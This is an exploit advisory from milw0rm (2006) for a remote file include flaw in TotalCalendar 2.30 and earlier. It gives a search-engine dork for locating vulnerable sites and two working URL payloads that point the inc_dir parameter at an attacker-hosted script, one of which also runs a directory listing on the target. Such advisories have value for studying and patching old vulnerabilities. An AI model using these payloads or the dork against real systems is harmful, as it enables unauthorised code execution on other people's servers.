19 lines
No EOL
648 B
Text
19 lines
No EOL
648 B
Text
Title: TotalCalendar <=2.30 - Remote File Include Vulnerability
|
|
-----------------------------------------------------------------
|
|
Vendor: SweetPHP
|
|
URL: http://sweetphp.com
|
|
-----------------------------------------------------------------
|
|
|
|
Credits:
|
|
Discovered by: 'Aesthetico'
|
|
http://www.majorsecurity.de
|
|
-----------------------------------------------------------------
|
|
Search for: "Powered by TotalCalendar"
|
|
-----------------------------------------------------------------
|
|
|
|
Exploitation:
|
|
|
|
/index.php?inc_dir=http://www.yourspace.com/yourscript.php?
|
|
/index.php?inc_dir=http://www.yourspace.com/yourscript.txt?&ls%20-laF
|
|
|
|
# milw0rm.com [2006-05-05] |